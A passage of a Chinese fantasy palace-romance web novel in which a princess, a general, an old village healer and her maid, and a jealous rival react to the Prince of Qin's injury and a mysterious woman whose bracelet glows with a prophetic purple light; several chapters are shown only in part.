可接着,轩辕玥又疑惑不解道“只是,这永乐公主对我西秦并不熟悉。她又是如何舍得将她那个影子留下来呢?…程将军,一定要派可靠的人跟紧了那永乐公主。可万万不能在秦王府现在正内忧外患的时候,再闹出个什么乱子来?” 程良朝其重重地点了点头,轩辕玥满腹忧心道“本公主明日便要回宫了,接下来秦王府的一切,便要靠将军了。将军务必一定要守好林月轩,守好秦皇叔,守好整个秦王府。秦王府若是乱了,整个西秦乃至整片灵空大陆亦将会一片混沌……元宵节宫宴,本公主会亲自向父皇母后禀明皇叔的情况,程将军安心做好自己的事便可。” “程良一定竭尽所能守护殿下,守护秦王府。多谢公主对我家王爷的体恤。”程良信誓旦旦道。 轩辕玥说着,不由得鼻子一酸,竟不知不觉地泪水溢满了眼睛,遗憾地道“过了这个元宵,往后余生里,本公主怕是永远也不能在西秦国过节了。只可惜,今年最后一个元宵宫宴,看不到皇叔那备受万众瞩目的身影了。” 看着轩辕玥一脸失落,程良低声道“公主殿下真的不能回头吗?公主应该知道,只要是公主不愿做的事,我家王爷自是有办法将公主留下的。” 轩辕玥深叹口气,道“程将军,实不相瞒,即使没有东宁国三皇子,本公主亦从来就没想过要一辈子留在西秦国里。这个西秦国,可以没有本公主,可以没有任何人,但绝对不能没有秦皇叔。其实,本公主早就听闻朝中官员多次议论,当年的储位本是属于秦皇叔的,秦皇叔才是真正的真命天子。可是…可是本公主亦 不想看到年迈的父皇伤心。你说,本公主这样是不是太自私了?但本公主一直坚信,终有一日,秦皇叔会得到他曾失去的一切的。将军是秦皇叔最信任的人,本公主今夜忽然说这些,只是怕自己在西秦的时日不多了,只希望将军能了解本公主的心。” 轩辕玥一边流着泪,一边将这话一说完,便神情黯然地朝着偏殿的方向走去。 忽然,程良在其身后低声道了一句“公主……保重!” 轩辕玥闻声,顿时停下了脚步,却并未转身回头,听到程良这几个简单的不能再简单的字,竟似是有些如同告别一般,她知道,她说的,程良懂了。 于是,她像是对此回应极为满意和感动的流下两行热泪来,便大步朝外走了去。 程良默默地回到轩辕翰的榻边,凝视着他禁闭的眼眸,道“殿下,方才玥公主所说的一切,您可都听到了吗?秦王府乱,即天下乱,您倒是赶快醒过来啊!” 不经意间,只见轩辕翰的一根手指忽然微微抽动了两下,程良却似是并没有发觉。 而此时,位于西秦城南那个似是被世人遗忘了的偏远村落——桃花店村里。 头顶的夜空中繁星点点,一轮弯弯的月牙与繁星一起热闹地倒映在村里潺潺的河面上,给这片寂静的村落和更深的夜色增添了一抹特别的喧闹,偶尔竟已能听到许多虫鸣声来。 静静地站在村口的河岸上远远望去,点点灯火照耀出一片与世隔绝,祥静宁和的小世界。 而就在这星雨之下,灯火阑珊处,一户极为普通的农家小院落里,屋里一盏极其昏暗的烛火下,一亭亭玉立的黄衣少女正满脸焦急地对一老妇人禀道“老夫人,这姑娘自从被那王二背回来至今,都已经烧了一整天了,欢儿几乎将家里所有的被子都压在她身上了,可就是一滴汗都捂不出来,这可怎么办呢?如果再烧下去,怕是会烧坏脑子了吧?还有,她的头怎么伤的这么重,会不会……” 尚未及黄衣少女将心中的忧虑道完,老妇人便将其打断开口问道“你给她内服的是什么汤药?” 黄衣女子暗自想了想,流利的回答道“这姑娘落水后又淋了大雨,定是受了风寒,在咱们南方自是要用桂枝(去皮)、芍药、甘草(炙)、生姜、大枣(擘)而制成的桂枝汤咯。” 老妇人一听,脱口即出“不对!” 黄衣女子闻之,即刻纳闷惊声道“不对?这怎么可能呢?这些年,桃花店村里的人,凡是得了风寒的,不都是这样施药的么?” 老妇人似是提醒她道“可这姑娘,她并不是桃花店村里的人啊!” 黄衣女子果然即刻瞪大了眼睛,顿悟道“南方气候炎热,损伤水液,所 以南方人体质多热,麻黄汤主要是通过发汗驱除人体内寒气,于是便过多的损耗了人体正常的津液,因此会导致疾病加重,所以南方人应慎用此药汤;而北方人多寒,体质多偏于阳虚,多偏于痰湿……啊,欢儿知道了!欢儿一时情急,犯了糊涂。欢儿这就赶快去重新准备用麻黄(去节),桂枝(去皮),杏仁(去皮尖),甘草(炙)而制的麻黄汤给姑娘服下。” 老妇人望着她离去的背影,一边欣喜地笑着,一边似是无奈地摇了摇头。 (本章完) 第二百零四章:天怒亦或人怨 黄衣少女欢儿翩然离去。 老妇人却忽然收起了脸上满满的慈祥表情,瞬间变作一脸正色地看着那个早已被欢儿替其换上了一套干爽的粗布衣衫,此刻正被五六条厚厚的棉被紧紧包裹着,犹如一只圆圆的大粽子般昏睡着不省人事的女子面前。 女子被除去脸上面纱的遮挡,本应是张轮廓娟秀的脸上,那颗血色毒瘤便清晰可见了,在这昏暗的烛火光芒照耀下的夜里,着实让人看着有些触目惊心。 尽管如此,然其眉宇间的那份不凡的气质却始终如一地存在着,似是多年以来从未曾被岁月消磨掉半分。 老妇人缓缓踱步过去,坐在女子身旁反复仔细地端详了许久,方才缓缓伸出手来帮她顺了顺额角的几缕乱发。 此刻她面前的这个女子,其实并不算曾与之真正地见过。 那是很久以前,她偶尔从一幅画像上看到过一眼,但就只是那一眼,却足以让所有见过此画像的人一生都难以忘怀。 而如今眼前这名女子,看起来也就和当年画像里的一样,左右只不过十七八岁的模样,可这怎么可能呢?这究竟是怎么一回事? 她清楚地记得,当年身为先帝妃子的她圣眷正浓。 可不知为何,后来有一天,几乎是一夜之间,先帝不知从何处得来一幅女子画像,那画像中的女子真可谓是“手如柔荑,肤如凝脂,领如蝤蛴,齿如瓠犀,螓首蛾眉,巧笑倩兮,美目盼兮。” 要说她简直宛若一个落入凡尘的九天仙女,又或者是个不惹尘世的凡间圣女,这些都一点儿也绝不为过。 显然,这画像上的女子,就连皇宫里最貌美的女子见了都自叹不如,又更何况是男子呢! 于是,已至不惑之年的先帝便似是魔怔了一般,忽然完全不顾朝中几位重臣的全力反对与阻挠,一意孤行地执意欲纳这张画中那稚嫩的绝世面孔为贵妃。 若是一般人家的女子,想必也没有人会如此百般阻挠,可偏偏这个女子,她一生下来就注定了将要背负这世间极不寻常的天责大任。 但让所有人都没有想到的是,这女子后来在被送进宫的半途中,竟遭到不测,不慎落崖身亡了。 果然,正如那几位重臣之前劝阻时的谏言所预料的一样,西秦国没有了那女子的存在,连连接踵而来的灾祸便开始到处肆无忌惮地狂虐开来。 女子身亡没多久,西秦东部的大片地区突然多日连降暴雨,降雨量之大,历年罕见,随之便发生了极其严重的河水倒灌灾难,相继淹没了无数良田与村落。那里的子民在后来极长的一段时间里没有水喝,这些切都不说,大量的河水流经后,宛若遭受了极大的洪灾,各种各样的死尸遍地都是,于此便引发了 更为凶险的瘟疫。那一年,西秦损失惨重,东部地区死人不计其数,为了救灾重建,西秦国更是几乎耗费了大半个国库。 没过几年,南部许多地区又跟着被洪涝席卷,接连大半个月的持续暴雨,使整个南部较低洼的地区全部都无一幸免的被其淹没,农田绝收,死尸遍地,各种瘟疫到处盛行。 而八年前的西北地区,久旱终于逢甘霖,大旱刚得以平息不久,好不容易缓了口气,却又迎来了史无前例的蝗虫之灾。时间正值农田收获的季节,遮云蔽日的漫天蝗虫疯狂而至,大口大口毫不留情地啃噬着庄户人的命根子。那一年,西秦整个西北部区,亦是西秦国最大的农作物产地,几乎颗粒无收,饿殍满地。 而北部地区一处名曰“金森林”的西秦国最大的林场,那场刚过去没两年的被所有人胆战心惊地称之为“天怒之火”的漫天大火,更是令林场周围的无数西秦子民死伤无数,西秦国的森林资源和财力损失惨重。那场大火在龙卷风的助力下,将火舌从地面卷上树稍,火头高达几十米、火势形成人力完全不可遏制之势,硬是将扑火的队伍死死地逼了回去。人们几乎只能眼睁睁无助地看着这场大火在连续烧了三天三夜之后,几乎是将西秦国最大的森林烧成了灰烬。此灾难,乃至后来都震惊了整个灵空大陆。 …… 所有一切,这一切似乎永无休止的灾难,究竟是天怒,亦或还是人怨,又有谁能说清楚…… 浮沉往事一幕幕,似是至今都尚还历历在目地萦绕在西秦每个子民的心头,让人记忆犹新着。 然而,这一切都还远远没有结束,传闻西秦国这仿佛如同被诅咒了一般的灾难,将周而复始,永远都不死不灭。 而先帝也正是在以后的岁月里,亲眼目睹了接连所发生的这些一个个真实的灾难后,方才认识到自己所犯下的永远不能被饶恕的滔天大罪,最终因此而郁郁寡欢至终。 回想起过去所经历的一切,老妇人不禁缓缓地阖上了眼来,嘴唇微微抽动着,眼角渗出滴滴泪株来从脸庞悄悄地滑落。 这泪水里,是伤、是痛、是悲、亦是喜…… 沉默了半晌后,她忽然睁开来双眼,心绪似是有些激动而庆幸地看着床上女子的脸说道“太好了,真是太好了,这下,西秦终于有救了。没想到,你竟活着,你竟还活着。你不但还活着,而且这张脸还和当年一样绝世出尘、年轻貌美、肌肤吹弹可破…难道,莫非这就是传闻中,世代相传誓死守护西秦真命天子的血族圣女的奥秘……” 忽然,当她欣喜的一边说着,一边将目光移到女子脸上的血色胎记的时候,她脸上的笑容却忽然嘎然而止,不禁又蹙眉疑 惑了起来,自言自语道“只是…这张脸怎么会增添了一个血色胎记,这又是怎么回事?她至今都清晰的记得,那张画像上的女子面如桃花,可并无半点瑕疵的呀?” 老妇人一边看着,心里一边想着,不禁伸手从被窝里摸出了女子的一只手来将其捉住,轻轻剥开附在其上面的粗布衣衫,再次睁大了眼睛开始更仔细地审视起女子手腕上的那只七彩金丝彩玉镯子。 许久后,她纳闷喃喃道“这只镯子,的确和画像上的一模一样啊!” 最终,她还是百思不得其解。看看镯子,又看看眼前的人,如此反反复复,来来回回怔着思量了许久。 突然,她猛地抬头朝着女子身上双眼一怔,似是又想起了什么。 只见她忙起身来,拿过床头桌案上的那盏昏暗的小油灯。 继而将其照在女子的身上,并开始伸手一层一层地掀去附在其身上用来发汗的一条条棉被。 尔后,她又缓缓解开了女子的衣带,在她光秃秃白皙而又细嫩光滑的身上仔细搜索了起来。 半晌的忙活后,却见她端起似是一脸极为失望又纳闷的表情在其身旁坐了下来,嘴里低声喃喃道“奇怪,怎么会没有呢?不可能啊,我不可能记错的啊。如此绝世之美人,出尘脱俗,恍若仙子,世间极为少有。而眼前这女子的相貌以及其眉宇间的那份于世间独一无二的气质,还有这看似颇具神秘与奇异的镯子,都是跟画像里一模一样的啊……” 就在老妇人为此深感不解,迟疑之际,欢儿满脸欣喜地捧着一碗尚还冒着腾腾热气的麻黄汤走进门来,远远地便问道“老夫人,您在找什么呢?” 老妇人闻声,忙回过神来放下手里的小油灯,道“哦,老身是想查看查看,她的身上还有没有其他伤了。若是有的话,好及时给她一并诊治,不要让小病拖成重疾了。” 欢儿顿悟道“欢儿知道,这就是老夫人平时给欢儿讲过的叫做‘千里之堤,溃于蚁穴’,就是说即使是很长很长的堤坝,也会因为小小蚁虫的啃噬,最后被摧毁。指人们往往不注意小事则会酿成大祸或不注意小事则会造成严重的损失。而在医者和病患这里,则是说即使是很小很小的疾病,如果不及时发现和治疗,亦会将这个人的健康体魄彻底给摧毁,对么?” 欢儿一边认真地说着,一边坐下在女子的身边自顾自地舀起药碗里的药汤来,一勺接着一勺缓缓地将其给女子喂下。 看着老妇人默不作声地坐在一旁,一副黯然失魂着的模样,欢儿安慰她道“老夫人放心吧,白日里欢儿给这位姑娘擦洗身子换衣物的时候,已经都仔仔细细,真真切切地检查过了。她浑身除了头部受到磕碰所留下的 伤口以外,到处都是光溜溜的,就连一个小小伤疤都没有,更别说其他什么伤口了。” 闻言,老妇人这才回过神来,道“白日里,你真的未曾在这女子的身上发现其他任何疤痕?” 欢儿认真地朝其点了点头,心里却因老妇人的这份惊讶,浮过一抹特别奇异的感觉,可这感觉却仅仅只是稍纵即逝。 最后,欢儿依旧只顾着一边帮女子喂食汤药,一边甚感庆幸地道“还好她还能服得下药汤,否则就更糟糕了。今日,幸亏老夫人机智,没让那个贪心的王二将这姑娘给活埋了。否则,就真的是那王二的大罪过了,老夫人帮着王二积了德,果真是个名副其实的‘活菩萨’呢!” 听了欢儿的话,依旧深陷在自己的猜测和疑惑中的老妇人,神秘地说道“老身可并不是什么‘活菩萨’,而是…这姑娘她本就命不该绝?” 闻此,欢儿似是突然想起了老妇人白日里对王二曾说过的话,便问道“对了,老夫人白日里跟王二说的那些什么贵人的话,都是真的么?” (本章完) 第二百零五章:守得云开见紫芒 欢儿似是突然想起了老妇人白日里对王二曾说过的话,便好奇地问道“对了,老夫人白日里跟王二所说的那些什么贵人的话,都是真的么?” 老妇人端坐在一边,看着床上的女子深叹口气,一脸悠长地说道“或许老身是真的老了吧。这世间的事,是是非非,和这真真假假世间的人,如今,老身竟似乎也看不明白了。” 欢儿闻声,立刻停下了手里的动作,张大嘴吃惊道“啊?不会吧,难道老夫人对王二所言的‘若是他将这姑娘悄悄地背至后山里给埋了,亦或者又心生贪念将她手上的那只镯子给摘去用了,他便真的会倒大霉,兴许整个天下都不会放过他。’,这些话,竟都是在诓骗王二?” 自打这个黄衣少女开始跟着老妇人相依为命以后,在她的心里和眼里,老妇人便始终都是个从来都不会跟人扯谎的人,可如今竟让她亲耳听到她的主人说出这样的话来,欢儿着实惊呆了。 待醒过神来后,她皱起眉头一脸忧心地对她的主人说道“可这王二一贯称呼老夫人您左一个‘活菩萨’,右一个‘活菩萨’,他可是当真信了您的话,把这姑娘活活当成了是他命里的贵人,甚至是能帮他改变一生的人,眼巴巴地等着她清醒过来呢!就今日白天,他将这姑娘从河边抱回来的时候,愣是赖在咱家院子里死活都不肯走,说是一定要寸步不离地守好这个院子,直到他亲眼看到这姑娘醒了。欢儿是磨破了嘴皮子好说歹说了半天,后来还煮了一大桌好吃的饭食,好不容易方才将他打发走了。就这,临走时还说他明日一大早便又要来看呢。可如今这般,这可到底该如何是好呢?如果被他知道‘活菩萨’老夫人您是在诓他,想他一定不会轻易了事罢休的。” “事到如今,也只能是走一步,看一步了。那王二虽然时而有些懒惰,还有些小贪婪,但本质还是好的,不会做出什么出格的事来。这也都怪老身眼拙,当时还以为是见到了久未蒙面的旧人,心里一高兴激动,竟看走了眼,这于老身自己,亦又何尝不是白高兴了一场呢。老身还以为,有生之年,终于让老身等到了,老身终于等到我西秦大地的守护者归来。自此,一切苦难都将过去,一切锥心的离别亦重逢在即,我西秦国的黎民百姓,以后再也不会有苦难…难道,老身真的等不到了,那老身还守在这里做什么?不如归去,不如归去……”老妇人一边失望而又落寞地说着,一边拖着似是极为沉重无力的身体缓缓起身来,准备回自己的房间去。 而此时的欢儿,眼睁睁地看着老妇人脸上此刻现出来的那份多年以来从未有过的灰心与失落,看着她头发花白一步一步渐渐离去的那个落寞极 了的背影,欢儿的心里顿时涌上了一阵莫名的酸楚,目光不禁悄悄地落在了手里正捧着的那只早已凉透了的空药碗上,一时间怔在那里一动也不动。 忽然,欢儿瞥见似是方才的那碗麻黄汤已经开始发挥药效,女子额头及周围,还有脖颈上已经开始大量的渗出密密的细汗来,想必周身上亦都已经开始发汗出来。欢儿赶忙起身放下手里的药碗,缓缓开始一层又一层地撤去其身上的一部分被子,并从一旁拿起干布巾来帮其仔细地擦拭起汗水来。 就在欢儿伴随着手上的动作,缓缓移动着目光准备掀开女子的一只衣袖来,擦拭其皙白细嫩的臂膀上的汗水时,忽见她的眼睛顿时似是被什么东西吸引住了一般,突然停下了手上忙碌的动作。只见她目不转睛地注视着女子手腕上的那只七彩金丝彩玉镯子,那双本就铜铃般又大又明亮的眼睛顿时瞪的更大了。 这时,身后的老妇人正准备着抬脚跨过房门的门槛,就在这一刹那间,忽然从身后传来欢儿的一阵紧急而大声的急呼声“老夫人,您快过来看,这位姑娘手腕上的这个镯子会发光耶!真的好神奇啊!欢儿从来没有见过会发光的镯子呢!” 老妇人闻声即刻顿足,先是眼睛怔着顿时一愣,继而忙转身回过头去三步并作两步着疾步到欢儿的身旁,亦瞬时被这眼前的景象同欢儿一样惊呆了。 女子的症状已然得到了很好的控制,此时已舒适地恬静沉睡了去。只见她的一只手,此时正被坐在其身旁一脸惊奇的欢儿紧紧地握在手中,而套在这只手腕上的那只七彩金丝彩玉镯子,正忽闪忽闪地发出道道紫色光芒来,仿佛似是在散发着某种神奇的力量出来一般。 主仆两人都屏住呼吸,目不转睛地凝视着这只神奇的七彩金丝彩玉镯子。 不知过了多久,在这忽明忽暗的紫芒中,突然又隐隐约约地现出来一个血色纹路,这个纹路印记的形状像是个‘l’形的图案,但这‘l’形血色纹路却只是昙花一现,似是刚现出来便就瞬间消逝了。随即,那忽隐忽现的紫色光芒亦随之消失不见。 主仆两人惊讶极了,不禁面面相觑着。 许久后,欢儿依旧紧握着女子的那只手,似是都忘记了放下,带着些许惊恐地低声问道“老夫人,这只七彩金丝彩玉镯子到底是什么东西啊,它是正义的?还是邪恶的?” 无疑,欢儿的这句话其实是在怀疑,今日她们主仆俩千方百计所救下的眼前的这个女子,她究竟是不是善类?她们主仆俩到底是在做善事,还是在引狼入室,养虎为患?若非今夜自己亲眼所见,还有主人作证,她竟不知,这世间真会有如此神奇之物。而拥有这神奇之物 的人,她又会有何奇异之才呢? 此刻,欢儿惊诧地看着一脸严肃认真,沉默不语着的主人,心里只有一件事是肯定的,那就是:眼前的这个女子,绝非普通人。 而一旁的老妇人,见了这奇异之象后,此刻脑中却已完全混乱,搞不清楚状况了。只一遍又一遍地重复着,在心里问她自己“她到底是谁?她到底是谁?她到底是谁?……” 忽然,她想起了很多年以前,那个救下自己的性命,皆被世人称之为是个得道高僧的城南城隍庙主持,亲自带她来到这个与世隔绝了的桃花店村里落脚。临走的时候,曾经对她千叮咛万嘱咐的一句话来“切记:待到紫芒现世于此地之际,便是你与亲生骨肉久经分离团聚之时,届时务必再往城隍庙来寻我相聚于此为其解除封印,解救众生。” 一念至此,老妇人不禁愣愣地低声喃喃了一句“难道…高僧当年口中千叮咛万嘱咐所说的,让老身在此安心等待着的紫芒,竟是此时出现在我眼前这若隐若现,转瞬即逝的紫芒……” 顿时,老妇人只觉得发生的这一切太不可思议了,当年,她只是被逼无奈,不得不在此隐姓埋名地安顿下来。 这些年,时间过的太慢,慢的她几乎已经快要忘记了自己是谁,慢的她都忘记了自己的真正身份,慢的她都忘记了狠心撇下自己的亲生骨肉,在此隐姓埋名着究竟是为了什么; 这些年,时间又似过的太快,快的她都还没有一点儿思想准备,这紫芒便就这样现世于此了。 一念至此,老妇人的心里忽然似是瞬间排山倒海地翻腾了起来,以至于她愣在原地里,激动地都说不出话来,只有嘴巴不停地一张一合着,然最终还是被泪水给抢先夺眶而出。 欢儿一见主人此时这副无比惊讶又说不出话来的激动表情,顿时亦惊得直越来越瞪大了那双圆溜溜的大眼睛来,心里忽然浮起一抹极不好的预感,怯怯地疑惑道“老夫人,您这是怎么了?” 欢儿一边说着,一边朝着老妇人的视线所向处望去,忽道“是不是……难道这个姑娘,她真的是个妖怪?” “啊……”欢儿一直自说自话,此时已然自己把自己完全吓到了。话音刚落,便大惊失声叫了起来。 老妇人忙上前去一把将其嘴巴死死地捂了起来,在其耳边嘘声道“嘘……” 可刚一松手,欢儿又开始战战兢兢地一边欲朝着门外退去,一边低声怯怯道“老夫人,欢儿害怕……” 见此,老妇人一把将其胳膊死死地拽住,并顺势往回大力地拉了一把,瘦小的欢儿便顿时被甩了回来,继而紧紧地禁锢在了她的掌心里,再也动弹不得“这里是你的卧房,你想逃去哪儿啊?” “我…我…我……”欢儿吞吞吐吐了半天,慌乱之下,竟忘记了在这个院子里,也就总共老妇人和她,主仆俩人,亦刚好只有俩个卧房。 欢儿透过窗外往外急急一瞥,从白日里开始折腾至今,不知不觉中,竟已是月上树梢的时辰的。这初春的夜里,出了屋子,外面还是极冷的。 正在她痛苦思量之际,老妇人忽然开口道“把她移到老身的房里去吧!” “不行……这怎么行呢?您是主,欢儿是仆。欢儿怎能让她夜里去打扰主子您呢?再说了,她还是个…是个……”欢儿当即做出反驳,欲言又止道。 “那今夜,她就与你同睡?”老妇人故意道。 “我…我……”欢儿闻之,好不容易刚平复下来的些许平静心情,又开始乱了起来。于是,低头吞吞吐吐起来道。 “好了,别愣着了,快过来帮忙吧。若是再不睡的话,天就快要亮了。”老妇人一边自顾自地朝女子身边踱步过去,一边说道。 (本章完) 第二百零六章:万事难如意 欢儿终究只不过还是个孩子,又对此其中原由一无所知。此时,她只能嘟囔起一张粉嘟嘟的小嘴,显得极不情愿又似无可奈何地怯怯过去,先帮女子穿好鞋袜,方才从老妇人的手里将其接过,继而将女子的一只胳膊驾在自己瘦弱的肩上,在老妇人的帮衬下缓缓迈步开来。 倒是并没有吃力,主仆俩人便将女子重新安放在了老妇人房内的一张小床上,欢儿从始至终都显出一副怯怯惧怕的模样缩在一旁。此时,她似是习惯性地开口问道“老夫人还有没有其他吩咐?” 老妇人坐在床边,一边仔细地帮女子擦拭着方才遗留的汗渍,一边开口解释道“欢儿,你莫要害怕,这位姑娘她并不是什么妖怪,她……” 未及老妇人将话讲完,欢儿似是迫不及待地脱口便惊声而道“那为何她会有一只那般怪异的手镯,欢儿长这么大,从来都没见过。倒是…经常听得王二在村子里跟那些小娃娃们讲一些离奇鬼怪的故事时,才会出现那样的鬼怪之物。” 老妇人闻之微微摇了摇头,淡淡地笑了笑,问“欢儿,你方才亦亲眼所见,是否这姑娘手上的七彩金丝彩玉镯子所发出的光芒是紫色的。” 欢儿稍作回忆,忽然伸出双臂来环抱住自己,似是仍惊魂未定道“嗯,是紫芒没错,忽隐忽现的,临了还显出一个鲜血一样鲜红的血色纹路来,真是可怕怪异极了!” 老妇人仍一边镇定地继续着手里的动作,一边道“紫芒即紫气,乃祥瑞之气,多附会为帝王、圣贤或宝物出现的先兆。欢儿竟会不知?可见,欢儿的书,没念好喔!” 闻此,欢儿似乎方才有了那么一点点释怀,于是,缓缓放下了双臂。口中一边纳闷地重复着老妇人的话,一边向小床边碎步着靠拢过去仔细瞧了瞧床上的女子,说道“帝王、圣贤或宝物出现的先兆……可这位姑娘看起来也并不比欢儿大几年,总不至于她能做的个女帝王或者女圣贤吧?亦或者老妇人言外之意是说这姑娘她是个宝物?可依欢儿看,要说宝物嘛,那个手镯倒还勉强算是个,可除了能发光以外,似乎也看不出有什么奇特的异能。就连发光,都是忽闪忽闪,若隐若现的…哎呀,该不会是那姑娘落水后,宝物被河水给泡坏了吧?” 闻此,老妇人忽然抬起头来,喝斥欢儿道“住口,不要瞎说。” 欢儿遭斥责,赶忙收声低下头来。 老妇人停下手里的动作,起身来到窗边,望着北方天空中的一片繁星,意味深长地道“历代宫廷里,都是以观测夜空中的紫微垣明暗来判断皇家的兴衰。而这手镯如今所发出的忽闪忽闪、若隐若现、忽明忽灭的紫芒,正是我西秦国如今的运势,危在旦夕,颇令 人堪忧啊!” “老夫人,请恕欢儿愚钝,欢儿着实看不出这手镯的奥妙所在。”欢儿默默地说了句。 老妇人叹了口气,并未责怪她,只转身过来说道“明日天一亮,你早起去一趟城南城隍庙里,找一位玄空大师,就说是桃花店村里的老夫人让你前去寻他的,就跟他说…‘紫芒现世,忽明忽灭’。” “‘城南城隍庙’‘玄空大师’‘紫芒现世,忽明忽灭’……”欢儿嘴里一遍又一遍地重复着这几个字。 片刻后,老妇人催促道“好了,天已经很晚了,赶快回房去歇着吧,明日还要出远门呢。” “是”欢儿似是已都记下了老妇人所言,应了一声便退了出去,替其将门轻轻掩上。 经过昨夜的一场滂沱大雨,这一日,终于拨云见日;而这一夜,也终于云散月明。 欢儿离去,一室寂静,老妇人站在窗边,默默地凝视着床上女子安详的睡脸,脑海里回忆起许多许多…… 第二日天还未亮,城东秦王府门前尚还处在一片灯火通明之中。 程良、轩辕玥和轩辕昊三人便已早早起身来,都忧心忡忡地踏上了回宫之路。 程良早已命人将所有通过万娇阁与北烈敌寇有牵连的朝中官员名单及证供通通整理好,今日早朝,将以他的主子秦王轩辕翰的名义上奏朝廷,待璟帝定夺。 待到天微微亮的时候,梅汐媛亦已经一身华服,满头珠翠却一脸忧郁的在陆天骄的搀扶下,从韶华阁里缓缓走了出来,身后跟着赵嬷嬷和几名贴身侍候的婢女。 程良帮其安排的几名护卫和马车亦已经早早便在秦王府的大门前候着,陆天骄亲自扶着她上了马车,又郑重地一再交待了众护卫许多,方才后退了几步让开车道。 此刻,整队人马正准备向城南城隍庙出发驶去。 忽然,马车的窗帘缓缓被掀了开来,梅汐媛一眼便扫到了站在秦王府门前石阶下的陆天骄,她靠近车窗轻声唤了声“妹妹” 陆天骄疾步上前,问“姐姐还有何吩咐?” 梅汐媛心里,其实根本不想去什么城隍庙祈福。她自知,自己直到现在都没有半分入轩辕翰的眼,自是不管她做什么,说什么,亦或做再多,说再多,始终他都不会领情。 可即便如此,她总是感觉,只要她自己还是秦王正妃,只要她的人尚还在秦王府里,她梅汐媛便是这睥睨天下的灵空战神,西秦国最尊贵的秦王府上唯一的女主人。 没有人知道他们究竟 第二百零七章:南边飘来朵桃花云 灵儿一听,惊道“写字?姐姐是在开玩笑吗?秦王殿下人都已经昏迷了快两天两夜了,怎么能写字呢?” “什么?殿下他…他昏迷了两天两夜啦?这是怎么回事?他不是只是受伤了吗?” 陆天骄此话一出,不想灵儿却突然哇哇大哭了起来,一边哭一边用那双圆嘟嘟稚嫩的小手抹着眼泪,泣不成声道“为了救灵儿的娘亲,秦王殿下和云姐姐一同坠入悬崖。秦王殿下深受重伤,至今昏迷不醒。而云姐姐,云姐姐她…呜…呜…呜……” 听了灵儿的话,陆天骄忽觉犹如一道晴天霹雳在她的头顶骤然响起,声音连绵不断,她的身子不禁亦随之扑通一声无力地瘫坐了在一边,整个人顿时被震的呆若木鸡一般。 片刻之后,稍一回神,她猛地一下伸出双手来捉住了灵儿的一双小手用力地晃了两下,接着迫不及待地催促问道“衣上云…衣上云她怎么了…她是不是…是不是已经…灵儿快说啊!” 灵儿依旧止不住地伤心痛哭着,哽咽道“那悬崖下是一湍急的湖水,秦王殿下落在了湖滩上,而云姐姐她…她却落入了湖中…没了。许是落下的时候,撞到了湖滩边的一块岩石,流了好大一滩血,都将那块岩石给染红了。” “什么?”陆天骄怔着瞪大了眼睛一脸惊愕,看着面前此时俨然如同个小泪人儿一般的灵儿。 曾经…不,即便是刚刚的时候,她的心里还是那样的恨那个女人。可不知为什么,当她忽然听到那个女人离世的消息时,她的心里却忽然浮上了一抹就连她自己也说不清道不明的失落感来。 这个女人,曾经险些成为自己长嫂如母般的亲嫂子;这个女人,曾经让她在自己最心爱的男人面前屡屡黯然失色;这个女人,她似是什么都未做,便已经轻而易举的夺走了在这个世上,她爱之如命的男子的心。 可好不容易,她费尽心思想尽了办法留在这秦王府里,下定决心将不顾一切忍辱负重排除万难,亦要等这个女人上门来与她亲自较量一番。 她甚至还想要让这个女人这次彻底的身败名裂,臭名远扬,最好被世人死死地踩下脚下,遭到所有人的唾弃与谩骂。如此,好将其从她最深爱的男子心中连根拔起,再也没有翻身的机会。 之后,她再时宜地将自己重新放进去,让那个男人彻底醒悟,在这个世上,只有她陆天骄才是最彻底和纯粹的真爱着他。 …… 可是,为什么,为什么所有的一切,她处心积虑谋划好的这一切,都还尚未来得及登场,便已早早谢幕了呢?! 陆天骄,原来,你不仅连对翰哥哥说那句话的资格都没有,如今,就连跟你的对手上场较量的机会亦都没有。 她 忽然发现,自己将自己磨炼成今日这般,犹如一只魔鬼似的斗鸡,却悲哀地永远都再也等不到对手的登场。 如若这般,那个离世的女人,便一定会成为翰哥哥心头永远最痛的伤。 如此,她便永远再也走不进去,占据不了他最心尖上的那个位置。 爱就爱了,也便罢了。可陆天骄却偏偏还要爱的如此贪心,想要做她的翰哥哥最心尖上的人。正所谓“天下本无事,庸人自扰之”,太贪心的爱,便早已注定了到头来终会是一场空。 “不,不,不…不可能…这不可能…她怎么能死,她怎么能就这样死去…不能……”陆天骄想着想着,忽然似是发疯了一般自言自语地吼叫起来,还不停地晃动着灵儿的两只细小的胳膊。 灵儿亦哭着闹着喊着“灵儿要云姐姐,云姐姐,你回来,你回来啊,呜…呜…呜……” 就在这时,张嬷嬷捧着药碗从林月轩里闻声,疾跑出来到灵儿的身边,一把便将其小手从陆天骄的紧握中抢了过去,却不经意间对眼前的女子顿眼一怔,后接着又对灵儿安抚道“灵儿乖,不哭,不哭……” 张嬷嬷一边抚摸着灵儿的小脑袋,一边蹲身下去帮其拭了拭那张红扑扑的婴儿肥脸庞的泪水,不禁斜眼狠狠地朝着陆天骄瞪了一眼,然陆天骄此时却只自顾自地沉浸在一片无尽的黯然神伤中,并未注意到张嬷嬷的责怪。 张嬷嬷见其对灵儿完全一副视而不见,听而不闻的架势,便朝陆天骄厉声喝道“你这姑娘是谁啊,打哪儿来的?怎么那么大个姑娘家了,还欺负小孩儿呢?” 陆天骄这才忙回过神来,起身连连致歉道“您就是…张嬷嬷吧。对不起,对不起,我是秦王殿下在西秦学院的小师妹,是秦王妃娘娘执意留我在秦王府里与她解闷作伴的。方才…方才我听这个小妹妹说秦王殿下身受重伤,昏迷不醒已经快两天两夜了,我是心里一急…便…一定是吓到小妹妹了吧,真是对不起,对不起。” 见张嬷嬷并不理会自己,只顾一直安抚着小灵儿,陆天骄便亦手忙脚乱地上前去,一手搭在灵儿的肩上,柔声地关切道“灵儿,真是对不起啊,姐姐方才不是故意的,姐姐是因……” 尚未等陆天骄将话说完,张嬷嬷便怒气冲冲地站起身来将其打断。许是因为轩辕翰病情的影响,心里抑郁着,加之被陆天骄的所作 第二百零八章:欲见郎,悉心筹谋 陆天骄一从外面匆匆忙忙地回到自己房内,便在书房角落紧靠着窗前的一古色古香的大红酸枝檀雕花鸟书架上,疯狂地翻腾了起来。 半晌后,只见她一脸欣喜若狂地从那堆满了书籍经卷的书架上,拿出一本厚厚的《诗经》出来将其翻到了《黍离》这一页,目光久久地停留注视在上面,不禁脸上浮起了一丝哀怨来,入神地口中喃喃道:知我者,谓我心忧;不知我者,谓我何求。悠悠苍天,此何人哉?” 之后,又缓缓地将夹在这一页的一张纸簽展了开来。 